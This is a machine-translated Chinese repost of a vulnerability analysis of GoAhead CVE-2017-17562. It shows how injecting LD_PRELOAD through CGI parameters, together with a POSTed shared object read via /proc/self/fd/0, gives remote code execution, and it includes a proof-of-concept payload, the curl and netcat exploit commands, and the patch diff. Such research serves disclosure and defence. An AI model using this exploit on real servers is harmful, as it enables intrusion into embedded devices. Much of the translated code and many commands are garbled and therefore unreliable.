当前位置:首页 > 房产信息

goahead GoAhead远程代码执行漏洞分析报告

0x01简介

CVE-2017-17562是一个基于继续前进的网络服务器

造成该漏洞的原因是GoAhead允许用户通过参数构造任意环境变量,这会影响所有启用了动态链接的CGI可执行文件。当CGI程序调用glibc动态链接库时,像LD _ PRELOAD(通常用于函数挂钩)这样的环境变量会导致远程代码执行。

GoAhead是全球最流行的嵌入式Web服务器,IBM、惠普、甲骨文、波音、D-Link、摩托罗拉都在使用。在Shodan上,我们可以发现超过735,000个设备使用GoAhead。

本文以GoAhead为案例进行研究,其他很多类型的软件都有类似的问题。

0x02漏洞分析

该漏洞存在于GoAhead的所有版本中(我们能得到的最低版本是2.5.0),可以通过以下命令获得GoAhead的源代码:

daniel@makemyday:~$git克隆https://github.com/embedthis/goahead.git

克隆到“goahead”...

远程:计数对象:20583,完成。

远程:总计20583(增量0),重用0(增量0),包重用20583

接收对象:100% (20583/20583),19.71 MiB | 4.76 MiB/s,完成。

解决差值:100% (14843/14843),完成。

daniel@makemyday:~$cd goahead/

daniel@makemyday:~/goahead$ls

configure CONTRIBUTING.md doc安装main . me Makefile paks README . MD test

configure . bat dist farm . JSON LICENSE . MD make . bat package . JSON project src

daniel@makemyday:~/goahead$git结账标签/v3.6.4 -q

Daniel @ make my day:~/goahead $ make & gt;/dev/null

Daniel @ make my day:~/go ahead $ CD test

Daniel @ make my day:~/go ahead/test $ gcc。/cgitest.c -ocgi-bin/cgitest

Daniel @ make myday:~/go ahead/test $ sudo../build/Linux-x64-default/bin/go ahead

0x03代码

该漏洞存在于cgiHandler函数中,该函数为新进程的envp参数分配一个指针数组,然后用HTTP参数中的键值初始化该数组。最后,由fork和executive执行的Cgi脚本调用launchCgi函数。

程序会过滤REMOTE_HOST和HTTP_AUTHORIZATION,除了其他参数可信,没有进一步过滤。这允许攻击者在新的CGI进程中控制环境变量。这种行为很危险,后面会详细描述。

图3:goahead/src/cgi.c:cgihandler

...

public boolcgihandler(WeB * WP)

{

Cgi * cgip

WebsKey * s;

charcgiPrefix[ME _ GOAHEAD _ LIMIT _ FILENAME],*stdIn,*stdOut,CWD[ME _ GOAHEAD _ LIMIT _ FILENAME];

char*cp,*cgiName,*cgiPath,**argp,**envp,**ep,*tok,*query,*dir,*extraPath,* exe

CgiPidpHandle

intn,envpsize,argpsize,cid

...

/*

将所有CGI变量添加到要传递给生成的CGI进程的环境字符串中。这包括几个

符号表中还没有,加上vars符号表中的所有符号。envp将指向

指向一大堆指针。每个指针将指向一个包含关键字值对的瓦隆字符串

关键字=值。因为我们事先不知道会有多少环境字符串

循环包含通过wrealloc增加数组大小的逻辑。

*/

envpsize = 64

envp = walloc(env psize * sizeof(char *));

for(n=0,s = HashFirst(WP->;vars);s!= NULLs = HashNext(WP->;vars,s)){

if(s->;内容有效。& amps->;content.type = = string & amp& amp

strcmp(s->;name.value.string," REMOTE_HOST ")!= 0 & amp& amp

strcmp(s->;name.value.string," HTTP _ AUTHORIZATION ")!=0){

envp[n++]=sfmt("%s=%s ",s->。name.value.string,s->;content . value . string);

跟踪(5," Env[%d] %s ",n,envp[n-1]);

if(n >;=envpsize){

env psize * = 2;

envp=wrealloc(envp,env psize * sizeof(char *));

}

}

}

*(envp+n)= NULL;

/*

为孩子的标准输入和标准输出创建临时文件名。对于开机自检数据,标准输入临时文件(和名称)

应该已经存在。

*/

if(wp->;cgiStdin==NULL){

wp->。cgiStdin = websGetCgiCommName();

}

stdIn=wp->。cgiStdin

stdOut = websGetCgiCommName();

if(wp->;cgifd>。=0){

关闭(wp->;cgifd);

wp->。cgifd =-1;

}

/*

现在启动流程。如果不成功,请清理资源。如果成功,清理将

过程完成后完成。

*/

if((PhAnDole = launchCgi(CGI path,argp,envp,stdIn,stdOut))==(CgiPid)-1){

...

0x04补丁

这个问题是通过过滤掉特殊参数解决的,即使对于a=b%00LD_PRELOAD%3D这样的参数,似乎也是可以过滤的。如果你发现其他可以绕过的情况,你愿意沟通。

图4:git diff f9ea 55a 6f 786 C1 src/CGI . c

diff - git a/src/cgi.c b/src/cgi.c

索引899ec97b..18d9b45b 100644

- a/src/cgi.c

+++ b/src/cgi.c

@@ -160,10 +160,17 @ @ PUBLIC bool CGihandler(web * WP)

envpsize = 64

envp = walloc(env psize * sizeof(char *));

for (n = 0,s = HashFirst(WP->;vars);s!= NULLs = HashNext(WP->;vars,s)) {

-if(s->;内容有效。& amps->;content.type = = string & amp& amp

- strcmp(s->;name.value.string," REMOTE_HOST ")!= 0 & amp& amp

- strcmp(s->;name.value.string," HTTP _ AUTHORIZATION ")!= 0) {

- envp[n++] = sfmt("%s=%s ",s->。name.value.string,s->;content . value . string);

+if(s->;内容有效。& amps->;content.type == string) {

+if(smatch(s->;name.value.string," REMOTE_HOST") ||

+ smatch(s->;name.value.string," HTTP _ AUTHORITY ")| |

+ smatch(s->;name.value.string," IFS") ||

+ smatch(s->;name.value.string," CDPATH") ||

+ smatch(s->;name.value.string," PATH") ||

+s零件(s->;name.value.string," LD _ "){

+继续;

+ }

+ envp[n++] = sfmt("%s%s=%s ",ME _ GOAHEAD _ CGI _ PREFFREY,

+ s->。name.value.string,s->;content . value . string);

跟踪(5," Env[%d] %s ",n,envp[n-1]);

if (n >;= envpsize) {

env psize * = 2;

0x05开发

虽然注入环境变量的问题看起来没有那么严重,但是有时候特殊的环境变量会导致动态链接库劫持程序的控制流。

极低频动态链路

通过读取GoAhead的ELF文件头,可以看出它是一个64位动态链接的可执行文件。INTERPeter程序在interpr部分指出,指向/lib64/ld-linux-x86-64.so.2(这是一个动态链接器)。

图5:读取极低频标题

Daniel @ make myday:~/goahead/build/Linux-x64-default/bin $ readelf-HL。/goahead

极低频标题:

魔法:7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00

类别:ELF64

数据:2的补码,小端字节序

版本:1(当前)

操作系统/ABI: UNIX -系统五

ABI版本:0

类型:DYN(共享对象文件)

机器:高级微设备X86-64

版本:0x1

入口点地址:0xf80

程序头开始:64(文件字节)

节标题的开始:21904(文件字节)

标志:0x0

此标头的大小:64(字节)

程序头的大小:56(字节)

节目标题数:9

节标题的大小:64(字节)

节标题数:34

节标题字符串表索引:33

程序标题:

类型偏移VirtAddr物理地址

文件大小内存大小标志对齐

PHDR 0x 0000000000000000040 0x 000000000000040 0x 0000000000000000040

0x 00000000000000001 F8 0x 0000000000001 F8 R E 0x 8

INTERP 0x 0000000000000000238 0x 0000000000000238 0x 00000000000000238

0x 000000000000000001 c 0x 0000000000001 c R 0x 1

[请求程序解释器:/lib64/ld-linux-x86-64.so.2]

...

Daniel @ make myday:~/goahead/build/Linux-x64-default/bin $

动态链接器是动态链接的可执行文件中允许的第一个代码,负责链接和加载共享对象以及解析符号。为了获得goahead进程加载的所有共享对象的列表,我们可以将一个特殊的环境变量LD_TRACE_LOADED_OBJECTS设置为1。运行后,它将打印加载的库并退出。

图6:ld.so LD_TRACE_LOADED_OBJECTS

Daniel @ make myday:~/go ahead/build/Linux-x64-default/bin $ LD _ TRACE _ LOADED _ Objects = 1。/goahead

linux-vdso.so.1 =>。(0x00007fff31bb4000)

libgo.so =>。/home/Daniel/goahead/build/Linux-x64-default/bin/libgo . so(0x 00007 f 571 f 548000)

libc.so.6 =>。/lib/x86 _ 64-Linux-GNU/libc . so . 6(0x 00007 f 571 f 168000)

libpthread.so.0 =>。/lib/x86 _ 64-Linux-GNU/libpthread . so . 0(0x 00007 f 571 ef 49000)

/lib 64/LD-Linux-x86-64 . so . 2(0x 00007 f 571 f 806000)

Daniel @ make myday:~/goahead/build/Linux-x64-default/bin $

我们还可以静态地找到这些信息(不允许动态链接)。方法是在ELF共享对象中通过grep找到DT _ NEQUIRED定义。

图7:静态查找共享对象依赖关系

daniel@makemyday:~/goahead/build/linux-x64-default/bin$readelf -d./goahead | grep NEEDED0x0000000000000001 (NEEDED) Shared library: [libgo.so]0x0000000000000001 (NEEDED) Shared library: [libc.so.6]daniel@makemyday:~/goahead/build/linux-x64-default/bin$readelf -d/home/daniel/goahead/build/linux-x64-default/bin/libgo.so | grep NEEDED0x0000000000000001 (NEEDED) Shared library: [libpthread.so.0]0x0000000000000001 (NEEDED) Shared library: [libc.so.6]daniel@makemyday:~/goahead/build/linux-x64-default/bin$readelf -d/lib/x86_64-linux-gnu/libc.so.6 | grep NEEDED0x0000000000000001 (NEEDED) Shared library: [ld-linux-x86-64.so.2]daniel@makemyday:~/goahead/build/linux-x64-default/bin$

注意:一些认真的读者可能会注意到缺少linux-vdso.so.1。没毛病!VDSO是一个特殊的共享库,由内核映射到内存中。详见man 7 vdso。

特殊环境变量

那么,这和环境变量的注入有什么关系呢?正如我们所知,动态链接器是执行新进程的第一个代码。如果我们阅读man 8 ld.so,我们可以发现有一些特殊的环境变量可以修改默认行为。

让我们阅读源代码,看看里面发生了什么。dl_main函数是动态链接器的入口函数。

图-8:glibc/elf/rtld.c:dl_main

static void dl _ main(ConstelfW(Phdr)* Phdr,

ElfW(Word)phnum,ElfW(Addr)*user_entry,ElfW(auxv_t)*auxv){constElfW(Phdr)*ph;enummodemode;structlink_map*main_map;size_tfile_size;char*file;boolhas_interp=false;unsignedinti;.../* Process the environment variable which control the behaviour. */process_envvars(&mode);

从代码中可以看出,这个函数做的第一件事就是调用process_envvars函数。

图9:glibc/elf/rtld . c:process _ env vars

staticvoid

process _ env vars(enum mode * modep){ char * * runp = _ environ;char * envlineenummodemode =正常;char * debug _ output = NULL/*这是分析数据文件的默认位置。*/GLRO(dl _ profile _ output)= & amp;"/var/tmp 0/var/profile " _ _ libc _ enable _ secure?9:0];while((env line = _ dl _ next _ LD _ env _ entry(& amp;runp))!= NULL){ size _ tlen = 0;while(envline[len]!= ' 0 ' & amp& ampenvline[len]!= ' = ')++ len;if(envline[len]!='=')/*这是一个在字符串末尾没有' = '字符的“LD_”变量。忽略它,否则我们将访问下面的无效内存。*/继续;switch(len){case4:/*警告级别,详细与否。*/if(memcmp(envline,“WARN”,4)= = 0)GLRO(dl _ verbose)= env line[5]!='0';打破;案例5:/*动态链接器的调试?*/if(memcmp(envline,“DEBUG”,5)= = 0 { process _ dl _ DEBUG(& amp;env line[6]);打破;}if(memcmp(envline,“AUDIT”,5)= = 0 AUDIT _ list _ string = & amp;env line[6];打破;案例7:/*打印版本信息。*/if(memcmp(envline," VERBOSE ",7)= = 0 { version _ info = env line[8]!='0';打破;}/*要预加载的对象列表。*/if(memcmp(envline,“PRELOAD”,7)= = 0 { preLOADlist = & amp;env line[8];打破;}

我们可以看到链接器解析envp数组,如果它找到一个特殊的变量名,它会执行一个不同的代码路径。特别有意思的是,案例7收到LD_PRELOAD后,给preloadlist赋值。

图10:glibc/elf/rtld.c:dl_main

.../* We have two ways to specify objects to preload: via environmentvariable and via the file /etc/ld.so.preload. The latter can alsobe used when security is enabled. */assert(*first_preload==NULL);structlink_map**preloads=NULL;unsignedintnpreloads=0;if(__glibc_unlikely(preloadlist!=NULL)){HP_TIMING_NOW(start);npreloads+=handle_ld_preload(preloadlist,main_map);HP_TIMING_NOW(stop);HP_TIMING_DIFF(diff,start,stop);HP_TIMING_ACCUM_NT(load_time,diff);}...

查看dl_main函数,如果预加载列表不为NULL,则调用handle_ld_preload函数。

图-11:glibc/elf/rtld . c:handle _ LD _ preload

/* The list preloaded objects. */staticconstchar*preloadlistattribute_relro;/* Nonzero if information about versions has to be printed. */staticintversion_infoattribute_relro;/* The LD_PRELOAD environment variable gives list of librariesseparated by white space or colons that are loaded before theexecutable's dependencies and prepended to the global scope list.(If the binary is running setuid all elements containing a '/' areignored since it is insecure.) Return the number of preloadsperformed. */unsignedinthandle_ld_preload(constchar*preloadlist,structlink_map*main_map){unsignedintnpreloads=0;constchar*p=preloadlist;charfname[SECURE_PATH_LIMIT];while(*p!='0'){/* Split preload list at space/colon. */size_tlen=strcspn(p," :");if(len>0&&len<sizeof(fname)){memcpy(fname,p,len);fname[len]='0';}elsefname[0]='0';/* Skip over the substring and the following delimiter. */p+=len;if(*p!='0')++p;if(dso_name_valid_for_suid(fname))npreloads+=do_preload(fname,main_map,"LD_PRELOAD");}returnnpreloads;}...

函数handle_ld_preload将解析预加载列表,并将其视为要加载的共享对象列表!

如果我们用goahead注入LD_PRELOAD环境变量,可以用glibc处理特殊的环境变量,加载ELF文件中没有链接的任何共享对象!

0x06 ELF。所以

这太他妈的棒了,我们可以强制goahead加载任意共享对象。但是有个问题,怎么才能让它允许代码?

在。init和。最后,如果我们修改一个带有构造函数属性的函数,我们可以强制该函数在main之前执行。

图12:PoC/有效载荷. c

#include <unistd.h>staticvoidbefore_main(void)__attribute__((constructor));staticvoidbefore_main(void){write(1,"Hello: World!n",14);}

图13:将有效载荷编译为共享对象。

Daniel @ make my day:~/go ahead/PoC $ gcc-shared-FPIc。/payload . c-opayload . sodaniel @ make my day:~/go ahead/PoC $ LD _ PREFELD =。/payload . so cat/dev/NullHello:World!Daniel @ make my day:~/go ahead/PoC $

太好了,如果我们在goahead的测试系统上运行它会发生什么?

图14:尝试一个简单的概念验证

daniel@makemyday:~/goahead/PoC$ls-la./payload.so-rwxrwxr-x 1 daniel daniel 7896 Dec 13 17:38 ./payload.sodaniel@makemyday:~/goahead/PoC$echo-en"GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0rnrn"| nc localhost 80 | head -10HTTP/1.0 200 OKDate: Wed Dec 13 02:38:56 2017Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINPragma: no-cacheCache-Control: no-cachehello: World!content-type: text/htmldaniel@makemyday:~/goahead/PoC$

我们可以清楚地看到,我们的共享代码是由cgitest进程通过LD _ PRELOAD执行的。

0x07 LINUX /PROC/SELF/FD/0

目前还有一个关键问题。即使我们知道可以从磁盘加载共享对象,从而允许执行自定义代码,但是如何将构造的共享对象注入远程服务器呢?如果做不到这一点,那么这个漏洞就有点鸡了。

幸运的是,launchCgi函数实际上使用dup2()将stdin文件描述符指向包含POST请求正文的临时文件。这意味着磁盘上会有一个用户提供的数据文件,可以被LD _ PREFELD =/tmp/CGI-XXXXXX引用。

图15:go ahead/src/CGI . c:launchccgi

/*Launch the CGI process and return a handle to it.*/static CgiPidlaunchCgi(char*cgiPath,char**argp,char**envp,char*stdIn,char*stdOut){intfdin,fdout,pid;trace(5,"cgi: run %s",cgiPath);if((fdin=open(stdIn,O_RDWR|O_CREAT|O_BINARY,0666))<0){error("Cannot open CGI stdin: ",cgiPath);return-1;}if((fdout=open(stdOut,O_RDWR|O_CREAT|O_TRUNC|O_BINARY,0666))<0){error("Cannot open CGI stdout: ",cgiPath);return-1;}pid=vfork();if(pid==0){/*Child*/if(dup2(fdin,0)<0){printf("content-type: text/htmlnnDup of stdin failedn");_exit(1);}elseif(dup2(fdout,1)<0){printf("content-type: text/htmlnnDup of stdout failedn");_exit(1);}elseif(execve(cgiPath,argp,envp)==-1){printf("content-type: text/htmlnnExecution of cgi process failedn");}...}

然而,如果我们这样做,我们需要猜测(并非不可能)包含我们的POST内容的临时文件名,这似乎有点痛苦。幸运的是,Linux procfs文件系统有一个很好的符号链接,我们可以用它来指向我们的临时文件stdin的描述符。您可以将LD _ PRELOAD指向/proc/self/fd/0,也可以使用/dev/stdin直接访问它。

图-16:linux/fs/proc/self.c

static const char* proc_self_get_link(structdentry*dentry,structinode*inode,structdelayed_call*done){structpid_namespace*ns=inode->i_sb->s_fs_info;pid_ttgid=task_tgid_nr_ns(current,ns);char*name;if(!tgid)returnERR_PTR(-ENOENT);/* 11 for max length of signed int in decimal + NULL term */name=kmalloc(12,dentry?GFP_KERNEL:GFP_ATOMIC);if(unlikely(!name))returndentry?ERR_PTR(-ENOMEM):ERR_PTR(-ECHILD);sprintf(name,"%d",tgid);set_delayed_call(done,kfree_link,name);returnname;}staticconststructinode_operationsproc_self_inode_operations={.get_link=proc_self_get_link,};

这样,我们就可以通过开机自检请求来可靠地利用该漏洞。开机自检请求包含恶意共享对象。同时,设置LD _ PREFELD =/proc/self/FD/0来引用我们POST的共享对象,达到远程攻击的目的。

图17:通过命令行利用

daniel@makemyday:~/goahead/PoC$curl -XPOST --data-binary@payload.so http://makemyday/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i| head% Total % Received % Xferd Average Speed Time Time Time CurrentDload Upload Total Spent Left Speed100 9931 0 2035 100 7896 2035 7896 0:00:01 0:00:01 --:--:-- 9774HTTP/1.1 200 OKDate: Sun Dec 17 13:08:20 2017Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINPragma: no-cacheCache-Control: no-cachehello: World!Content-type: text/htmldaniel@makemyday:~/goahead/PoC$

如果您需要概念验证,请访问我们的GitHub项目。

0x08结论

这个漏洞是一个有趣的研究案例,思路非常新颖。本文起到了很重要的作用,引入的漏洞在其他应用服务中也可能存在。

如果你有兴趣了解更多关于链接和加载的知识,这里有两篇很棒的文章可以阅读。

翻译来源:https://www.elttam.com.au/blog/goahead/,点击直接阅读原文!

1.《goahead GoAhead远程代码执行漏洞分析报告》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。

2.《goahead GoAhead远程代码执行漏洞分析报告》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。

3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/fangchan/1217398.html

上一篇

钡萱女装 剁手姐“权威发布”——购物地图(亚欧)

下一篇

南方都市报案 孟美岐粉丝涉嫌诈骗案,被主流媒体南方都市报等报道,粉丝忙控评

雏菊花语 雏菊花语——雏菊花语大全,最适合送给这些对象,快来看看

雏菊花语 雏菊花语——雏菊花语大全,最适合送给这些对象,快来看看

雏菊,又名马头兰草、春菊、日菊等。,被称为雏菊,因为它的花又短又直,像未成形的黄菊花。雏菊花语,雏菊花语全集,最适合这些对象。来52朵边肖看看,给你推荐雏菊花语。 雏菊的花语:雏菊不同于黄菊花。早春对外开放。雏菊有多种花语,是西班牙的国花。雏菊...

附近找对象 进厂打工单身狗咋找对象?老司机支招:多去这几个地方一定找得到

  • 附近找对象 进厂打工单身狗咋找对象?老司机支招:多去这几个地方一定找得到
  • 附近找对象 进厂打工单身狗咋找对象?老司机支招:多去这几个地方一定找得到
  • 附近找对象 进厂打工单身狗咋找对象?老司机支招:多去这几个地方一定找得到

apl 我们做了两轮APL链接测试,结果....

  • apl 我们做了两轮APL链接测试,结果....
  • apl 我们做了两轮APL链接测试,结果....
  • apl 我们做了两轮APL链接测试,结果....
郎朗宣布结婚 郎朗的结婚对象是谁是中国人吗

郎朗宣布结婚 郎朗的结婚对象是谁是中国人吗

近日,@著名钢琴家郎朗在微博上发布了九宫格的结婚照,宣布结婚喜讯,并附上一篇短文:“我找到了我的爱丽丝,她是吉娜·爱丽丝”。吉娜·吉娜·爱丽丝·雷德林格(Gina Gina Alice Redlinger),1994年出生于德国威斯巴登,是德国...

权志龙姐姐恋情 权志龙姐姐是谁恋爱对象是

6月2日,演员金敏君与歌手GD的姐姐时尚企业家全在结婚的前提下进行了真诚的交流。据报道,他们计划在今年10月结婚。金敏君曾主演《茶母与布拉格恋人》,好评如潮。...

苍井优结婚 苍井优的结婚对象是谁(图)

苍井优结婚 苍井优的结婚对象是谁(图)

33岁的玉傲娇嫁给了42岁的搞笑艺人李珊·梁泰,而女神的眼光不一样,或者说她是在瞬间结婚的!宇澳和他在山里的队友“小京”(山崎静代)成为朋友是因为他们与2006年的电影《扶桑花姑娘》合作,小京充当媒人成功撮合了他们。一个好朋友透露,玉吾敖没有怀...

类和对象的关系是什么

类和对象的关系是什么

类是对象的抽象,对象是类的具体实例。类是抽象的,不占用内存,对象是具体的,占用存储空。类是创建对象的蓝图。它是一个软件模板,定义了包含在特定类型对象中的方法和变量。类和对象是以计算机为载体的两种计算机语言的统称。对象是客观事物的抽象,类是对象的...

对数函数知识点总结 高中数学!幂函数、指数函数、对数函数知识点总结!很实用!

  • 对数函数知识点总结 高中数学!幂函数、指数函数、对数函数知识点总结!很实用!
  • 对数函数知识点总结 高中数学!幂函数、指数函数、对数函数知识点总结!很实用!
  • 对数函数知识点总结 高中数学!幂函数、指数函数、对数函数知识点总结!很实用!